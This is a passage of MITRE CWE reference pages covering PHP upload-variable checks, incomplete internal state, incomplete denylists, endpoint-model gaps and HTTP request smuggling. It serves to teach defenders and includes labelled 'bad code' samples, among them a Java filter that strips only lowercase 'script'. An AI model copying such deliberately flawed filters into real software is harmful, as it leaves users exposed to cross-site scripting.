Section HelpThis listing shows possible areas for which the given weakness could appear. These may be for specific named Languages, Operating Systems, Architectures, Paradigms, Technologies, or a class of such platforms. The platform is listed along with how frequently the given weakness appears for that instance.

Languages

PHP (Undetermined Prevalence)

+ Common Consequences
Section HelpThis table specifies different individual consequences associated with the weakness. The Scope identifies the application security area that is violated, while the Impact describes the negative technical impact that arises if an adversary succeeds in exploiting this weakness. The Likelihood provides information about how likely the specific consequence is expected to be seen relative to the other consequences in the list. For example, there may be high likelihood that a weakness will be exploited to achieve a certain impact, but a low likelihood that it will be exploited to achieve a different impact.
ScopeImpactLikelihood
Confidentiality
Integrity

Technical Impact: Read Files or Directories; Modify Files or Directories

+ Demonstrative Examples

Example 1

As of 2006, the "four globals" method is probably in sharp decline, but older PHP applications could have this issue.

In the "four globals" method, PHP sets the following 4 global variables (where "varname" is application-dependent):

(bad code)
Example Language: PHP 
$varname = name of the temporary file on local machine
$varname_size = size of file
$varname_name = original name of file provided by client
$varname_type = MIME type of the file

Example 2

"The global $_FILES exists as of PHP 4.1.0 (Use $HTTP_POST_FILES instead if using an earlier version). These arrays will contain all the uploaded file information."

(bad code)
Example Language: PHP 
$_FILES['userfile']['name'] - original filename from client
$_FILES['userfile']['tmp_name'] - the temp filename of the file on the server

** note: 'userfile' is the field name from the web form; this can vary.

+ Observed Examples
ReferenceDescription
Forum does not properly verify whether a file was uploaded or if the associated variables were set by POST, allowing remote attackers to read arbitrary files.
Product doesn't check if the variables for an upload were set by uploading the file, or other methods such as $_POST.
Product does not distinguish uploaded file from other files.
+ Potential Mitigations

Phase: Architecture and Design

Use PHP 4 or later.

Phase: Architecture and Design

If you must support older PHP versions, write your own version of is_uploaded_file() and run it against $HTTP_POST_FILES['userfile']))

Phase: Implementation

For later PHP versions, reference uploaded files using the $HTTP_POST_FILES or $_FILES variables, and use is_uploaded_file() or move_uploaded_file() to ensure that you are dealing with an uploaded file.
+ Weakness Ordinalities
OrdinalityDescription
Primary
(where the weakness exists independent of other weaknesses)
+ Memberships
Section HelpThis MemberOf Relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.994SFP Secondary Cluster: Tainted Input to Variable
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1411Comprehensive Categorization: Insufficient Verification of Data Authenticity
+ Vulnerability Mapping Notes

Usage: ALLOWED

(this CWE ID could be used to map to real-world vulnerabilities)

Reason: Acceptable-Use

Rationale:

This CWE entry is at the Variant level of abstraction, which is a preferred level of abstraction for mapping to the root causes of vulnerabilities.

Comments:

Carefully read both the name and description to ensure that this mapping is an appropriate fit. Do not try to 'force' a mapping to a lower-level Base/Variant simply to comply with this preferred level of abstraction.
+ Taxonomy Mappings
Mapped Taxonomy NameNode IDFitMapped Node Name
PLOVERIncomplete Identification of Uploaded File Variables (PHP)
Software Fault PatternsSFP25Tainted input to variable
+ References
[REF-502] Shaun Clowes. "A Study in Scarlet - section 5, "File Upload"".
+ Content History
+ Submissions
Submission DateSubmitterOrganization
2007-05-07
(CWE Draft 6, 2007-05-07)
PLOVER
+ Modifications
Modification DateModifierOrganization
2008-07-01Eric DalciCigital
updated Time_of_Introduction
2008-09-08CWE Content TeamMITRE
updated Relationships, Observed_Example, Other_Notes, Taxonomy_Mappings, Weakness_Ordinalities
2008-10-14CWE Content TeamMITRE
updated Description, Other_Notes, Potential_Mitigations
2011-03-29CWE Content TeamMITRE
updated Other_Notes
2011-06-01CWE Content TeamMITRE
updated Common_Consequences
2012-05-11CWE Content TeamMITRE
updated Observed_Examples, Relationships
2012-10-30CWE Content TeamMITRE
updated Potential_Mitigations
2014-07-30CWE Content TeamMITRE
updated Relationships, Taxonomy_Mappings
2020-02-24CWE Content TeamMITRE
updated Relationships
2023-04-27CWE Content TeamMITRE
updated Relationships
2023-06-29CWE Content TeamMITRE
updated Mapping_Notes

CWE-372: Incomplete Internal State Distinction

Weakness ID: 372
Vulnerability Mapping: DISCOURAGEDThis CWE ID should not be used to map to real-world vulnerabilities
Abstraction: BaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers. For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts. For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers. For users who wish to see all available information for the CWE/CAPEC entry. For users who want to customize what details are displayed.
×

Edit Custom Filter


+ Description
The product does not properly determine which state it is in, causing it to assume it is in state X when in fact it is in state Y, causing it to perform incorrect operations in a security-relevant manner.
+ Relationships
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Research Concepts" (CWE-1000)
NatureTypeIDName
ChildOfPillarPillar - a weakness that is the most abstract type of weakness and represents a theme for all class/base/variant weaknesses related to it. A Pillar is different from a Category as a Pillar is still technically a type of weakness that describes a mistake, while a Category represents a common characteristic used to group related things.664Improper Control of a Resource Through its Lifetime
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Software Development" (CWE-699)
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.371State Issues
+ Modes Of Introduction
Section HelpThe different Modes of Introduction provide information about how and when this weakness may be introduced. The Phase identifies a point in the life cycle at which introduction may occur, while the Note provides a typical scenario related to introduction during the given phase.
PhaseNote
Implementation
+ Applicable Platforms
Section HelpThis listing shows possible areas for which the given weakness could appear. These may be for specific named Languages, Operating Systems, Architectures, Paradigms, Technologies, or a class of such platforms. The platform is listed along with how frequently the given weakness appears for that instance.

Languages

Class: Not Language-Specific (Undetermined Prevalence)

+ Common Consequences
Section HelpThis table specifies different individual consequences associated with the weakness. The Scope identifies the application security area that is violated, while the Impact describes the negative technical impact that arises if an adversary succeeds in exploiting this weakness. The Likelihood provides information about how likely the specific consequence is expected to be seen relative to the other consequences in the list. For example, there may be high likelihood that a weakness will be exploited to achieve a certain impact, but a low likelihood that it will be exploited to achieve a different impact.
ScopeImpactLikelihood
Integrity
Other

Technical Impact: Varies by Context; Unexpected State

+ Memberships
Section HelpThis MemberOf Relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.962SFP Secondary Cluster: Unchecked Status Condition
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1416Comprehensive Categorization: Resource Lifecycle Management
+ Vulnerability Mapping Notes

Usage: DISCOURAGED

(this CWE ID should not be used to map to real-world vulnerabilities)

Reasons: Potential Deprecation, CWE Overlap

Rationale:

This CWE entry could be deprecated in a future version of CWE.

Comments:

See maintenance notes.
+ Notes

Relationship

This conceptually overlaps other categories such as insufficient verification, but this entry refers to the product's incorrect perception of its own state.

Relationship

This is probably resultant from other weaknesses such as unhandled error conditions, inability to handle out-of-order steps, multiple interpretation errors, etc.

Maintenance

This entry is being considered for deprecation. It was poorly-defined in PLOVER and is not easily described using the behavior/resource/property model of vulnerability theory.
+ Taxonomy Mappings
Mapped Taxonomy NameNode IDFitMapped Node Name
PLOVERIncomplete Internal State Distinction
+ Content History
+ Submissions
Submission DateSubmitterOrganization
2006-07-19
(CWE Draft 3, 2006-07-19)
PLOVER
+ Modifications
Modification DateModifierOrganization
2008-07-01Eric DalciCigital
updated Time_of_Introduction
2008-09-08CWE Content TeamMITRE
updated Maintenance_Notes, Relationships, Relationship_Notes, Taxonomy_Mappings
2010-12-13CWE Content TeamMITRE
updated Maintenance_Notes
2011-06-01CWE Content TeamMITRE
updated Common_Consequences
2011-06-27CWE Content TeamMITRE
updated Common_Consequences
2012-05-11CWE Content TeamMITRE
updated Relationships
2014-07-30CWE Content TeamMITRE
updated Relationships
2017-05-03CWE Content TeamMITRE
updated Related_Attack_Patterns
2017-11-08CWE Content TeamMITRE
updated Applicable_Platforms
2018-03-27CWE Content TeamMITRE
updated Maintenance_Notes, Relationships
2019-06-20CWE Content TeamMITRE
updated Related_Attack_Patterns
2023-01-31CWE Content TeamMITRE
updated Description
2023-04-27CWE Content TeamMITRE
updated Relationships, Time_of_Introduction
2023-06-29CWE Content TeamMITRE
updated Mapping_Notes
2024-02-29
(CWE 4.14, 2024-02-29)
CWE Content TeamMITRE
updated Mapping_Notes

CWE-184: Incomplete List of Disallowed Inputs

Weakness ID: 184
Vulnerability Mapping: ALLOWEDThis CWE ID may be used to map to real-world vulnerabilities
Abstraction: BaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers. For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts. For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers. For users who wish to see all available information for the CWE/CAPEC entry. For users who want to customize what details are displayed.
×

Edit Custom Filter


+ Description
The product implements a protection mechanism that relies on a list of inputs (or properties of inputs) that are not allowed by policy or otherwise require other action to neutralize before additional processing takes place, but the list is incomplete, leading to resultant weaknesses.
+ Extended Description
Developers often try to protect their products against malicious input by performing tests against inputs that are known to be bad, such as special characters that can invoke new commands. However, such lists often only account for the most well-known bad inputs. Attackers may be able to find other malicious inputs that were not expected by the developer, allowing them to bypass the intended protection mechanism.
+ Alternate Terms
Denylist / Deny List:
This is used by CWE and CAPEC instead of other commonly-used terms. Its counterpart is allowlist.
Blocklist / Block List:
This is often used by security tools such as firewalls, email or web gateways, proxies, etc.
Blacklist / Black List:
This term is frequently used, but usage has been declining as organizations have started to adopt other terms.
+ Relationships
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Research Concepts" (CWE-1000)
NatureTypeIDName
ChildOfClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.1023Incomplete Comparison with Missing Factors
ChildOfPillarPillar - a weakness that is the most abstract type of weakness and represents a theme for all class/base/variant weaknesses related to it. A Pillar is different from a Category as a Pillar is still technically a type of weakness that describes a mistake, while a Category represents a common characteristic used to group related things.693Protection Mechanism Failure
ParentOfChainChain - a Compound Element that is a sequence of two or more separate weaknesses that can be closely linked together within software. One weakness, X, can directly create the conditions that are necessary to cause another weakness, Y, to enter a vulnerable condition. When this happens, CWE refers to X as "primary" to Y, and Y is "resultant" from X. Chains can involve more than two weaknesses, and in some cases, they might have a tree-like structure.692Incomplete Denylist to Cross-Site Scripting
PeerOfVariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.86Improper Neutralization of Invalid Characters in Identifiers in Web Pages
PeerOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.625Permissive Regular Expression
CanPrecedeBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.78Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')
CanPrecedeBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.79Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
CanPrecedeVariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.98Improper Control of Filename for Include/Require Statement in PHP Program ('PHP Remote File Inclusion')
CanPrecedeBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.434Unrestricted Upload of File with Dangerous Type
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Software Development" (CWE-699)
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1215Data Validation Issues
+ Modes Of Introduction
Section HelpThe different Modes of Introduction provide information about how and when this weakness may be introduced. The Phase identifies a point in the life cycle at which introduction may occur, while the Note provides a typical scenario related to introduction during the given phase.
PhaseNote
ImplementationDevelopers might begin to develop a list of bad inputs as a fast way to fix a particular weakness, instead of fixing the root cause. See [REF-141].
Architecture and DesignThe design might rely solely on detection of malicious inputs as a protection mechanism.
+ Applicable Platforms
Section HelpThis listing shows possible areas for which the given weakness could appear. These may be for specific named Languages, Operating Systems, Architectures, Paradigms, Technologies, or a class of such platforms. The platform is listed along with how frequently the given weakness appears for that instance.

Languages

Class: Not Language-Specific (Undetermined Prevalence)

+ Common Consequences
Section HelpThis table specifies different individual consequences associated with the weakness. The Scope identifies the application security area that is violated, while the Impact describes the negative technical impact that arises if an adversary succeeds in exploiting this weakness. The Likelihood provides information about how likely the specific consequence is expected to be seen relative to the other consequences in the list. For example, there may be high likelihood that a weakness will be exploited to achieve a certain impact, but a low likelihood that it will be exploited to achieve a different impact.
ScopeImpactLikelihood
Access Control

Technical Impact: Bypass Protection Mechanism

+ Demonstrative Examples

Example 1

The following code attempts to stop XSS attacks by removing all occurences of "script" in an input string.

(bad code)
Example Language: Java 
public String removeScriptTags(String input, String mask) {
return input.replaceAll("script", mask);
}

Because the code only checks for the lower-case "script" string, it can be easily defeated with upper-case script tags.

+ Observed Examples
ReferenceDescription
product uses a denylist to identify potentially dangerous content, allowing attacker to bypass a warning
PHP remote file inclusion in web application that filters "http" and "https" URLs, but not "ftp".
Programming language does not filter certain shell metacharacters in Windows environment.
XSS filter doesn't filter null characters before looking for dangerous tags, which are ignored by web browsers. MIE and validate-before-cleanse.
Web-based mail product doesn't restrict dangerous extensions such as ASPX on a web server, even though others are prohibited.
Resultant XSS when only <script> and <style> are checked.
Privileged program does not clear sensitive environment variables that are used by bash. Overlaps multiple interpretation error.
SQL injection protection scheme does not quote the "\" special character.
Detection of risky filename extensions prevents users from automatically executing .EXE files, but .LNK is accepted, allowing resultant Windows symbolic link.
Product uses list of protected variables, but accidentally omits one dangerous variable, allowing external modification
Chain: product only removes SCRIPT tags (CWE-184), enabling XSS (CWE-79)
Chain: product only checks for use of "javascript:" tag (CWE-184), allowing XSS (CWE-79) using other tags
Chain: OS command injection (CWE-78) enabled by using an unexpected character that is not explicitly disallowed (CWE-184)
"\" not in list of disallowed values for web server, allowing path traversal attacks when the server is run on Windows and other OSes.
+ Potential Mitigations

Phase: Implementation

Strategy: Input Validation

Do not rely exclusively on detecting disallowed inputs. There are too many variants to encode a character, especially when different environments are used, so there is a high likelihood of missing some variants. Only use detection of disallowed inputs as a mechanism for detecting suspicious activity. Ensure that you are using other protection mechanisms that only identify "good" input - such as lists of allowed inputs - and ensure that you are properly encoding your outputs.
+ Weakness Ordinalities
OrdinalityDescription
Primary
(where the weakness exists independent of other weaknesses)
+ Detection Methods

Black Box

Exploitation of a vulnerability with commonly-used manipulations might fail, but minor variations might succeed.
+ Memberships
Section HelpThis MemberOf Relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.990SFP Secondary Cluster: Tainted Input to Command
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1347OWASP Top Ten 2021 Category A03:2021 - Injection
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1413Comprehensive Categorization: Protection Mechanism Failure
+ Vulnerability Mapping Notes

Usage: ALLOWED

(this CWE ID could be used to map to real-world vulnerabilities)

Reason: Acceptable-Use

Rationale:

This CWE entry is at the Base level of abstraction, which is a preferred level of abstraction for mapping to the root causes of vulnerabilities.

Comments:

Carefully read both the name and description to ensure that this mapping is an appropriate fit. Do not try to 'force' a mapping to a lower-level Base/Variant simply to comply with this preferred level of abstraction.
+ Notes

Relationship

Multiple interpretation errors can indirectly introduce inputs that should be disallowed. For example, a list of dangerous shell metacharacters might not include a metacharacter that only has meaning in one particular shell, not all of them; or a check for XSS manipulations might ignore an unusual construct that is supported by one web browser, but not others.

+ Taxonomy Mappings
Mapped Taxonomy NameNode IDFitMapped Node Name
PLOVERIncomplete Blacklist
+ References
[REF-140] Greg Hoglund and Gary McGraw. "Exploiting Software: How to Break Code". Addison-Wesley. 2004-02-27. <https://www.amazon.com/Exploiting-Software-How-Break-Code/dp/0201786958>. URL validated: 2023-04-07.
[REF-141] Steve Christey. "Blacklist defenses as a breeding ground for vulnerability variants". 2006-02-03. <https://seclists.org/fulldisclosure/2006/Feb/40>. URL validated: 2023-04-07.
[REF-62] Mark Dowd, John McDonald and Justin Schuh. "The Art of Software Security Assessment". Chapter 8, "Eliminating Metacharacters", Page 435. 1st Edition. Addison Wesley. 2006.
+ Content History
+ Submissions
Submission DateSubmitterOrganization
2006-07-19
(CWE Draft 3, 2006-07-19)
PLOVER
+ Modifications
Modification DateModifierOrganization
2008-07-01Sean EidemillerCigital
added/updated demonstrative examples
2008-07-01Eric DalciCigital
updated Potential_Mitigations, Time_of_Introduction
2008-09-08CWE Content TeamMITRE
updated Detection_Factors, Relationships, Other_Notes, Relationship_Notes, Taxonomy_Mappings, Weakness_Ordinalities
2008-11-24CWE Content TeamMITRE
updated Observed_Examples
2009-05-27CWE Content TeamMITRE
updated Description, Other_Notes, Relationship_Notes, Time_of_Introduction
2010-02-16CWE Content TeamMITRE
updated Relationships
2010-04-05CWE Content TeamMITRE
updated Related_Attack_Patterns
2010-06-21CWE Content TeamMITRE
updated Demonstrative_Examples
2011-06-01CWE Content TeamMITRE
updated Common_Consequences
2012-05-11CWE Content TeamMITRE
updated References, Related_Attack_Patterns, Relationships
2013-02-21CWE Content TeamMITRE
updated Potential_Mitigations
2014-07-30CWE Content TeamMITRE
updated Demonstrative_Examples, Relationships
2015-12-07CWE Content TeamMITRE
updated Relationships
2017-05-03CWE Content TeamMITRE
updated Potential_Mitigations, Related_Attack_Patterns
2017-11-08CWE Content TeamMITRE
updated Applicable_Platforms, References
2018-03-27CWE Content TeamMITRE
updated Observed_Examples, Relationships
2019-01-03CWE Content TeamMITRE
updated Related_Attack_Patterns
2019-06-20CWE Content TeamMITRE
updated Related_Attack_Patterns, Relationships
2020-02-24CWE Content TeamMITRE
updated Alternate_Terms, Description, Detection_Factors, Modes_of_Introduction, Name, Observed_Examples, Potential_Mitigations, Relationship_Notes, Relationships
2020-06-25CWE Content TeamMITRE
updated Alternate_Terms, Observed_Examples
2021-10-28CWE Content TeamMITRE
updated Relationships
2023-04-27CWE Content TeamMITRE
updated References, Relationships
2023-06-29CWE Content TeamMITRE
updated Mapping_Notes, Relationships
+ Previous Entry Names
Change DatePrevious Entry Name
2020-02-24Incomplete Blacklist

CWE-437: Incomplete Model of Endpoint Features

Weakness ID: 437
Vulnerability Mapping: ALLOWEDThis CWE ID may be used to map to real-world vulnerabilities
Abstraction: BaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers. For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts. For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers. For users who wish to see all available information for the CWE/CAPEC entry. For users who want to customize what details are displayed.
×

Edit Custom Filter


+ Description
A product acts as an intermediary or monitor between two or more endpoints, but it does not have a complete model of an endpoint's features, behaviors, or state, potentially causing the product to perform incorrect actions based on this incomplete model.
+ Relationships
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Research Concepts" (CWE-1000)
NatureTypeIDName
ChildOfClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.436Interpretation Conflict
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Software Development" (CWE-699)
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.438Behavioral Problems
+ Modes Of Introduction
Section HelpThe different Modes of Introduction provide information about how and when this weakness may be introduced. The Phase identifies a point in the life cycle at which introduction may occur, while the Note provides a typical scenario related to introduction during the given phase.
PhaseNote
Architecture and Design
Implementation
+ Applicable Platforms
Section HelpThis listing shows possible areas for which the given weakness could appear. These may be for specific named Languages, Operating Systems, Architectures, Paradigms, Technologies, or a class of such platforms. The platform is listed along with how frequently the given weakness appears for that instance.

Languages

Class: Not Language-Specific (Undetermined Prevalence)

+ Common Consequences
Section HelpThis table specifies different individual consequences associated with the weakness. The Scope identifies the application security area that is violated, while the Impact describes the negative technical impact that arises if an adversary succeeds in exploiting this weakness. The Likelihood provides information about how likely the specific consequence is expected to be seen relative to the other consequences in the list. For example, there may be high likelihood that a weakness will be exploited to achieve a certain impact, but a low likelihood that it will be exploited to achieve a different impact.
ScopeImpactLikelihood
Integrity
Other

Technical Impact: Unexpected State; Varies by Context

+ Demonstrative Examples

Example 1

HTTP request smuggling is an attack against an intermediary such as a proxy. This attack works because the proxy expects the client to parse HTTP headers one way, but the client parses them differently.

Example 2

Anti-virus products that reside on mail servers can suffer from this issue if they do not know how a mail client will handle a particular attachment. The product might treat an attachment type as safe, not knowing that the client's configuration treats it as executable.

+ Memberships
Section HelpThis MemberOf Relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.957SFP Secondary Cluster: Protocol Error
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1398Comprehensive Categorization: Component Interaction
+ Vulnerability Mapping Notes

Usage: ALLOWED

(this CWE ID could be used to map to real-world vulnerabilities)

Reason: Acceptable-Use

Rationale:

This CWE entry is at the Base level of abstraction, which is a preferred level of abstraction for mapping to the root causes of vulnerabilities.

Comments:

Carefully read both the name and description to ensure that this mapping is an appropriate fit. Do not try to 'force' a mapping to a lower-level Base/Variant simply to comply with this preferred level of abstraction.
+ Notes

Relationship

This can be related to interaction errors, although in some cases, one of the endpoints is not performing correctly according to specification.
+ Taxonomy Mappings
Mapped Taxonomy NameNode IDFitMapped Node Name
PLOVERExtra Unhandled Features
+ Content History
+ Submissions
Submission DateSubmitterOrganization
2006-07-19
(CWE Draft 3, 2006-07-19)
PLOVER
+ Modifications
Modification DateModifierOrganization
2008-07-01Eric DalciCigital
updated Time_of_Introduction
2008-09-08CWE Content TeamMITRE
updated Relationships, Other_Notes, Taxonomy_Mappings
2008-10-14CWE Content TeamMITRE
updated Description
2010-12-13CWE Content TeamMITRE
updated Other_Notes, Relationship_Notes
2011-06-01CWE Content TeamMITRE
updated Common_Consequences
2011-06-27CWE Content TeamMITRE
updated Common_Consequences
2012-05-11CWE Content TeamMITRE
updated Relationships
2014-07-30CWE Content TeamMITRE
updated Relationships
2017-11-08CWE Content TeamMITRE
updated Applicable_Platforms
2020-02-24CWE Content TeamMITRE
updated Relationships
2023-04-27CWE Content TeamMITRE
updated Relationships
2023-06-29CWE Content TeamMITRE
updated Mapping_Notes
+ Previous Entry Names
Change DatePrevious Entry Name
2008-04-11Extra Unhandled Features

CWE-444: Inconsistent Interpretation of HTTP Requests ('HTTP Request/Response Smuggling')

Weakness ID: 444
Vulnerability Mapping: ALLOWEDThis CWE ID may be used to map to real-world vulnerabilities
Abstraction: BaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers. For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts. For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers. For users who wish to see all available information for the CWE/CAPEC entry. For users who want to customize what details are displayed.
×

Edit Custom Filter


+ Description
The product acts as an intermediary HTTP agent (such as a proxy or firewall) in the data flow between two entities such as a client and server, but it does not interpret malformed HTTP requests or responses in ways that are consistent with how the messages will be processed by those entities that are at the ultimate destination.
+ Extended Description

HTTP requests or responses ("messages") can be malformed or unexpected in ways that cause web servers or clients to interpret the messages in different ways than intermediary HTTP agents such as load balancers, reverse proxies, web caching proxies, application firewalls, etc. For example, an adversary may be able to add duplicate or different header fields that a client or server might interpret as one set of messages, whereas the intermediary might interpret the same sequence of bytes as a different set of messages. For example, discrepancies can arise in how to handle duplicate headers like two Transfer-encoding (TE) or two Content-length (CL), or the malicious HTTP message will have different headers for TE and CL.

The inconsistent parsing and interpretation of messages can allow the adversary to "smuggle" a message to the client/server without the intermediary being aware of it.

This weakness is usually the result of the usage of outdated or incompatible HTTP protocol versions in the HTTP agents.

+ Alternate Terms
HTTP Request Smuggling
HTTP Response Smuggling
HTTP Smuggling
+ Relationships
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Research Concepts" (CWE-1000)
NatureTypeIDName
ChildOfClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.436Interpretation Conflict
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Software Development" (CWE-699)
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.438Behavioral Problems
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Weaknesses for Simplified Mapping of Published Vulnerabilities" (CWE-1003)
NatureTypeIDName
ChildOfClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.436Interpretation Conflict
+ Modes Of Introduction
Section HelpThe different Modes of Introduction provide information about how and when this weakness may be introduced. The Phase identifies a point in the life cycle at which introduction may occur, while the Note provides a typical scenario related to introduction during the given phase.
PhaseNote
Implementation
+ Applicable Platforms
Section HelpThis listing shows possible areas for which the given weakness could appear. These may be for specific named Languages, Operating Systems, Architectures, Paradigms, Technologies, or a class of such platforms. The platform is listed along with how frequently the given weakness appears for that instance.

Languages

Class: Not Language-Specific (Undetermined Prevalence)

Technologies

Class: Web Based (Undetermined Prevalence)

+ Common Consequences
